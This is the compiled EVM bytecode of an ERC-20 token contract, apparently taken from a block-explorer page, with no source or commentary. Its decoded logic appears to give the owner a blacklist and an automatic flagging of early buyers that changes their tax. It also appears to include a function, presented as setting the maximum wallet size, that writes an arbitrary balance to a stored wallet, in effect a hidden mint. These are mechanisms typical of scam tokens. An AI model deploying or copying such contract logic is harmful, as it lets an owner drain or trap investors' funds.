0ddd1461032657610251565b3661025157005b600080fd5b34801561026257600080fd5b5061026b61096e565b60405161027891906130b8565b60405180910390f35b34801561028d57600080fd5b50610296610a00565b6040516102a391906130f3565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce91906131ac565b610a06565b6040516102e09190613207565b60405180910390f35b3480156102f557600080fd5b50610310600480360381019061030b9190613222565b610a24565b60405161031d9190613207565b60405180910390f35b34801561033257600080fd5b5061033b610a44565b60405161034891906130f3565b60405180910390f35b34801561035d57600080fd5b50610366610a4e565b6040516103739190613207565b60405180910390f35b34801561038857600080fd5b506103a3600480360381019061039e919061324f565b610a61565b6040516103b09190613207565b60405180910390f35b3480156103c557600080fd5b506103e060048036038101906103db91906132a2565b610b62565b005b3480156103ee57600080fd5b506103f7610cef565b6040516104049190613304565b60405180910390f35b34801561041957600080fd5b50610422610d15565b60405161042f9190613207565b60405180910390f35b34801561044457600080fd5b5061044d610d28565b60405161045a919061333b565b60405180910390f35b34801561046f57600080fd5b5061048a600480360381019061048591906131ac565b610d31565b6040516104979190613207565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c29190613222565b610ddd565b6040516104d49190613207565b60405180910390f35b3480156104e957600080fd5b506104f2610dfd565b6040516104ff9190613304565b60405180910390f35b34801561051457600080fd5b5061051d610e23565b005b34801561052b57600080fd5b5061054660048036038101906105419190613356565b610f3c565b005b34801561055457600080fd5b5061056f600480360381019061056a9190613222565b610fca565b60405161057c91906130f3565b60405180910390f35b34801561059157600080fd5b5061059a611012565b005b3480156105a857600080fd5b506105b161109a565b6040516105be91906130f3565b60405180910390f35b3480156105d357600080fd5b506105ee60048036038101906105e991906134de565b6110a0565b005b3480156105fc57600080fd5b506106056111b1565b6040516106129190613304565b60405180910390f35b34801561062757600080fd5b506106306111db565b60405161063d9190613304565b60405180910390f35b34801561065257600080fd5b5061065b611201565b60405161066891906130f3565b60405180910390f35b34801561067d57600080fd5b50610686611207565b60405161069391906130b8565b60405180910390f35b3480156106a857600080fd5b506106b1611299565b6040516106be91906130f3565b60405180910390f35b3480156106d357600080fd5b506106dc61129f565b6040516106e991906130f3565b60405180910390f35b3480156106fe57600080fd5b50610719600480360381019061071491906131ac565b6112a5565b005b34801561072757600080fd5b50610742600480360381019061073d91906131ac565b6113ab565b60405161074f9190613207565b60405180910390f35b34801561076457600080fd5b5061077f600480360381019061077a91906131ac565b61149f565b60405161078c9190613207565b60405180910390f35b3480156107a157600080fd5b506107bc60048036038101906107b79190613527565b6114bd565b005b3480156107ca57600080fd5b506107d3611556565b6040516107e09190613207565b60405180910390f35b3480156107f557600080fd5b506107fe611569565b005b34801561080c57600080fd5b5061082760048036038101906108229190613527565b61161d565b005b34801561083557600080fd5b5061083e61172a565b60405161084b9190613304565b60405180910390f35b34801561086057600080fd5b50610869611750565b60405161087691906130f3565b60405180910390f35b34801561088b57600080fd5b506108a660048036038101906108a19190613554565b611756565b6040516108b391906130f3565b60405180910390f35b6108c46117dd565b005b3480156108d257600080fd5b506108ed60048036038101906108e89190613527565b611ba3565b005b3480156108fb57600080fd5b50610904611c52565b60405161091191906130f3565b60405180910390f35b34801561092657600080fd5b50610941600480360381019061093c9190613222565b611c58565b005b34801561094f57600080fd5b50610958611d4f565b60405161096591906130f3565b60405180910390f35b60606001805461097d906135c3565b80601f01602080910402602001604051908101604052809291908181526020018280546109a9906135c3565b80156109f65780601f106109cb576101008083540402835291602001916109f6565b820191906000526020600020905b8154815290600101906020018083116109d957829003601f168201915b5050505050905090565b60125481565b6000610a1a610a13611d55565b8484611d5d565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b6000600554905090565b601160169054906101000a900460ff1681565b6000610a6e848484611f26565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ab9611d55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3090613666565b60405180910390fd5b610b5685610b45611d55565b8584610b5191906136b5565b611d5d565b60019150509392505050565b610b6a611d55565b73ffffffffffffffffffffffffffffffffffffffff16610b886111b1565b73ffffffffffffffffffffffffffffffffffffffff1614610bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd590613735565b60405180910390fd5b6000479050610bec8461262a565b60008147610bfa91906136b5565b90506000831115610c7257610c718385610c149190613755565b8483610c209190613789565b610c2a91906137fa565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661286d90919063ffffffff16565b5b6000841115610ce857610ce78385610c8a9190613755565b8583610c969190613789565b610ca091906137fa565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661286d90919063ffffffff16565b5b5050505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601160149054906101000a900460ff1681565b60006012905090565b6000610dd3610d3e611d55565b848460046000610d4c611d55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dce9190613755565b611d5d565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e2b611d55565b73ffffffffffffffffffffffffffffffffffffffff16610e496111b1565b73ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9690613735565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ee0611d55565b73ffffffffffffffffffffffffffffffffffffffff1614610f0057600080fd5b6000610f0b30610fca565b90506000811115610f2057610f1f81612961565b5b60004790506000811115610f3857610f3781612bae565b5b5050565b610f44611d55565b73ffffffffffffffffffffffffffffffffffffffff16610f626111b1565b73ffffffffffffffffffffffffffffffffffffffff1614610fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faf90613735565b60405180910390fd5b81600f81905550806010819055505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61101a611d55565b73ffffffffffffffffffffffffffffffffffffffff166110386111b1565b73ffffffffffffffffffffffffffffffffffffffff161461108e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108590613735565b60405180910390fd5b6110986000612bbd565b565b60145481565b6110a8611d55565b73ffffffffffffffffffffffffffffffffffffffff166110c66111b1565b73ffffffffffffffffffffffffffffffffffffffff161461111c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111390613735565b60405180910390fd5b60005b81518110156111ad576001600a60008484815181106111415761114061382b565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806111a59061385a565b91505061111f565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b606060028054611216906135c3565b80601f0160208091040260200160405190810160405280929190818152602001828054611242906135c3565b801561128f5780601f106112645761010080835404028352916020019161128f565b820191906000526020600020905b81548152906001019060200180831161127257829003601f168201915b5050505050905090565b600b5481565b600f5481565b6112ad611d55565b73ffffffffffffffffffffffffffffffffffffffff166112cb6111b1565b73ffffffffffffffffffffffffffffffffffffffff1614611321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131890613735565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6113456111b1565b836040518363ffffffff1660e01b81526004016113639291906138a2565b6020604051808303816000875af1158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a691906138f7565b505050565b600080600460006113ba611d55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e90613996565b60405180910390fd5b611494611482611d55565b85858461148f91906136b5565b611d5d565b600191505092915050565b60006114b36114ac611d55565b8484611f26565b6001905092915050565b6114c5611d55565b73ffffffffffffffffffffffffffffffffffffffff166114e36111b1565b73ffffffffffffffffffffffffffffffffffffffff1614611539576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153090613735565b60405180910390fd5b670de0b6b3a76400008161154d9190613789565b60138190555050565b601160159054906101000a900460ff1681565b611571611d55565b73ffffffffffffffffffffffffffffffffffffffff1661158f6111b1565b73ffffffffffffffffffffffffffffffffffffffff16146115e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115dc90613735565b60405180910390fd5b6001601160156101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550565b611625611d55565b73ffffffffffffffffffffffffffffffffffffffff166116436111b1565b73ffffffffffffffffffffffffffffffffffffffff1614611699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169090613735565b60405180910390fd5b670de0b6b3a7640000816116ad9190613789565b601481905550600b546014546116c39190613789565b600080601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6117e5611d55565b73ffffffffffffffffffffffffffffffffffffffff166118036111b1565b73ffffffffffffffffffffffffffffffffffffffff1614611859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185090613735565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611922573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194691906139cb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119f391906139cb565b6040518363ffffffff1660e01b8152600401611a109291906139f8565b6020604051808303816000875af1158015611a2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a5391906139cb565b905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611ae330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611d5d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430611b2c30610fca565b600080611b376111b1565b426040518863ffffffff1660e01b8152600401611b5996959493929190613a66565b60606040518083038185885af1158015611b77573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b9c9190613adc565b5050505050565b611bab611d55565b73ffffffffffffffffffffffffffffffffffffffff16611bc96111b1565b73ffffffffffffffffffffffffffffffffffffffff1614611c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1690613735565b60405180910390fd5b611c4f81611c2b6111b1565b73ffffffffffffffffffffffffffffffffffffffff1661286d90919063ffffffff16565b50565b60075481565b611c60611d55565b73ffffffffffffffffffffffffffffffffffffffff16611c7e6111b1565b73ffffffffffffffffffffffffffffffffffffffff1614611cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ccb90613735565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3a90613ba1565b60405180910390fd5b611d4c81612bbd565b50565b60085481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc390613c33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3290613cc5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f1991906130f3565b60405180910390a3505050565b60008111611f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6090613d57565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061200a5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561201957600b546010819055505b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156120bd5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120d65750601160169054906101000a900460ff16155b1561239257601160159054906101000a900460ff1661212a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212190613dc3565b60405180910390fd5b4360085460075461213b9190613755565b111561229e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146121ef576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461229d576001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b6013548111156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da90613e2f565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612391576014548161234584610fca565b61234f9190613755565b1115612390576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238790613e9b565b60405180910390fd5b5b5b6000601160169054906101000a900460ff16806123f85750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061244c5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561245a5760009050612545565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156125015750600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612527576064601054836125169190613789565b61252091906137fa565b9050612544565b6064600f54836125379190613789565b61254191906137fa565b90505b5b601160149054906101000a900460ff16801561256e5750601160169054906101000a900460ff16155b80156125c85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156125d45750600081115b156125e2576125e1612c83565b5b6000811115612618576125f6843083612d08565b612613848461260e8486612f7a90919063ffffffff16565b612d08565b612624565b612623848484612d08565b5b50505050565b6000600267ffffffffffffffff8111156126475761264661339b565b5b6040519080825280602002602001820160405280156126755781602001602082028036833780820191505090505b509050308160008151811061268d5761268c61382b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612734573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061275891906139cb565b8160018151811061276c5761276b61382b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127d330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d5d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612837959493929190613f79565b600060405180830381600087803b15801561285157600080fd5b505af1158015612865573d6000803e3d6000fd5b505050505050565b804710156128b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a79061401f565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff16826040516128d690614070565b60006040518083038185875af1925050503d8060008114612913576040519150601f19603f3d011682016040523d82523d6000602084013e612918565b606091505b505090508061295c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612953906140f7565b60405180910390fd5b505050565b6000810315612bab576000600267ffffffffffffffff8111156129875761298661339b565b5b6040519080825280602002602001820160405280156129b55781602001602082028036833780820191505090505b50905030816000815181106129cd576129cc61382b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a9891906139cb565b81600181518110612aac57612aab61382b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b1330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d5d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612b77959493929190613f79565b600060405180830381600087803b158015612b9157600080fd5b505af1158015612ba5573d6000803e3d6000fd5b50505050505b50565b612bba60003083612d08565b50565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000612c8e30610fca565b90506012548110612d05576000479050612ca78261262a565b60008147612cb591906136b5565b9050612d0281600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661286d90919063ffffffff16565b50505b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6e90614189565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ddd9061421b565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e63906142ad565b60405180910390fd5b8181612e7891906136b5565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f089190613755565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612f6c91906130f3565b60405180910390a350505050565b6000612fbc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612fc4565b905092915050565b600083831115829061300c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161300391906130b8565b60405180910390fd5b506000848461301b91906136b5565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613062578082015181840152602081019050613047565b60008484015250505050565b6000601f19601f8301169050919050565b600061308a82613028565b6130948185613033565b93506130a4818560208601613044565b6130ad8161306e565b840191505092915050565b600060208201905081810360008301526130d2818461307f565b905092915050565b6000819050919050565b6130ed816130da565b82525050565b600060208201905061310860008301846130e4565b92915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061314d82613122565b9050919050565b61315d81613142565b811461316857600080fd5b50565b60008135905061317a81613154565b92915050565b613189816130da565b811461319457600080fd5b50565b6000813590506131a681613180565b92915050565b600080604083850312156131c3576131c2613118565b5b60006131d18582860161316b565b92505060206131e285828601613197565b9150509250929050565b60008115159050919050565b613201816131ec565b82525050565b600060208201905061321c60008301846131f8565b92915050565b60006020828403121561323857613237613118565b5b60006132468482850161316b565b91505092915050565b60008060006060848603121561326857613267613118565b5b60006132768682870161316b565b93505060206132878682870161316b565b925050604061329886828701613197565b9150509250925092565b6000806000606084860312156132bb576132ba613118565b5b60006132c986828701613197565b93505060206132da86828701613197565b92505060406132eb86828701613197565b9150509250925092565b6132fe81613142565b82525050565b600060208201905061331960008301846132f5565b92915050565b600060ff82169050919050565b6133358161331f565b82525050565b6000602082019050613350600083018461332c565b92915050565b6000806040838503121561336d5761336c613118565b5b600061337b85828601613197565b925050602061338c85828601613197565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6133d38261306e565b810181811067ffffffffffffffff821117156133f2576133f161339b565b5b80604052505050565b600061340561310e565b905061341182826133ca565b919050565b600067ffffffffffffffff8211156134315761343061339b565b5b602082029050602081019050919050565b600080fd5b600061345a61345584613416565b6133fb565b9050808382526020820190506020840283018581111561347d5761347c613442565b5b835b818110156134a65780613492888261316b565b84526020840193505060208101905061347f565b5050509392505050565b600082601f8301126134c5576134c4613396565b5b81356134d5848260208601613447565b91505092915050565b6000602082840312156134f4576134f3613118565b5b600082013567ffffffffffffffff8111156135125761351161311d565b5b61351e848285016134b0565b91505092915050565b60006020828403121561353d5761353c613118565b5b600061354b84828501613197565b91505092915050565b6000806040838503121561356b5761356a613118565b5b60006135798582860161316b565b925050602061358a8582860161316b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806135db57607f821691505b6020821081036135ee576135ed613594565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613650602883613033565b915061365b826135f4565b604082019050919050565b6000602082019050818103600083015261367f81613643565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006136c0826130da565b91506136cb836130da565b92508282039050818111156136e3576136e2613686565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061371f602083613033565b915061372a826136e9565b602082019050919050565b6000602082019050818103600083015261374e81613712565b9050919050565b6000613760826130da565b915061376b836130da565b925082820190508082111561378357613782613686565b5b92915050565b6000613794826130da565b915061379f836130da565b92508282026137ad816130da565b915082820484148315176137c4576137c3613686565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613805826130da565b9150613810836130da565b9250826138205761381f6137cb565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613865826130da565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361389757613896613686565b5b600182019050919050565b60006040820190506138b760008301856132f5565b6138c460208301846130e4565b9392505050565b6138d4816131ec565b81146138df57600080fd5b50565b6000815190506138f1816138cb565b92915050565b60006020828403121561390d5761390c613118565b5b600061391b848285016138e2565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613980602583613033565b915061398b82613924565b604082019050919050565b600060208201905081810360008301526139af81613973565b9050919050565b6000815190506139c581613154565b92915050565b6000602082840312156139e1576139e0613118565b5b60006139ef848285016139b6565b91505092915050565b6000604082019050613a0d60008301856132f5565b613a1a60208301846132f5565b9392505050565b6000819050919050565b6000819050919050565b6000613a50613a4b613a4684613a21565b613a2b565b6130da565b9050919050565b613a6081613a35565b82525050565b600060c082019050613a7b60008301896132f5565b613a8860208301886130e4565b613a956040830187613a57565b613aa26060830186613a57565b613aaf60808301856132f5565b613abc60a08301846130e4565b979650505050505050565b600081519050613ad681613180565b92915050565b600080600060608486031215613af557613af4613118565b5b6000613b0386828701613ac7565b9350506020613b1486828701613ac7565b9250506040613b2586828701613ac7565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613b8b602683613033565b9150613b9682613b2f565b604082019050919050565b60006020820190508181036000830152613bba81613b7e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613c1d602483613033565b9150613c2882613bc1565b604082019050919050565b60006020820190508181036000830152613c4c81613c10565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613caf602283613033565b9150613cba82613c53565b604082019050919050565b60006020820190508181036000830152613cde81613ca2565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613d41602983613033565b9150613d4c82613ce5565b604082019050919050565b60006020820190508181036000830152613d7081613d34565b9050919050565b7f54726164696e67206973206e6f74206163746976652079657400000000000000600082015250565b6000613dad601983613033565b9150613db882613d77565b602082019050919050565b60006020820190508181036000830152613ddc81613da0565b9050919050565b7f4d61785478416d6f756e74000000000000000000000000000000000000000000600082015250565b6000613e19600b83613033565b9150613e2482613de3565b602082019050919050565b60006020820190508181036000830152613e4881613e0c565b9050919050565b7f4d617857616c6c6574416d6f756e740000000000000000000000000000000000600082015250565b6000613e85600f83613033565b9150613e9082613e4f565b602082019050919050565b60006020820190508181036000830152613eb481613e78565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ef081613142565b82525050565b6000613f028383613ee7565b60208301905092915050565b6000602082019050919050565b6000613f2682613ebb565b613f308185613ec6565b9350613f3b83613ed7565b8060005b83811015613f6c578151613f538882613ef6565b9750613f5e83613f0e565b925050600181019050613f3f565b5085935050505092915050565b600060a082019050613f8e60008301886130e4565b613f9b6020830187613a57565b8181036040830152613fad8186613f1b565b9050613fbc60608301856132f5565b613fc960808301846130e4565b9695505050505050565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000614009601d83613033565b915061401482613fd3565b602082019050919050565b6000602082019050818103600083015261403881613ffc565b9050919050565b600081905092915050565b50565b600061405a60008361403f565b91506140658261404a565b600082019050919050565b600061407b8261404d565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b60006140e1603a83613033565b91506140ec82614085565b604082019050919050565b60006020820190508181036000830152614110816140d4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614173602583613033565b915061417e82614117565b604082019050919050565b600060208201905081810360008301526141a281614166565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614205602383613033565b9150614210826141a9565b604082019050919050565b60006020820190508181036000830152614234816141f8565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614297602683613033565b91506142a28261423b565b604082019050919050565b600060208201905081810360008301526142c68161428a565b905091905056fea2646970667358221220550f90ddd54e854af305d396227babec25493c68e597ac23a881cf71a2254e9664736f6c63430008110033

Deployed Bytecode Sourcemap

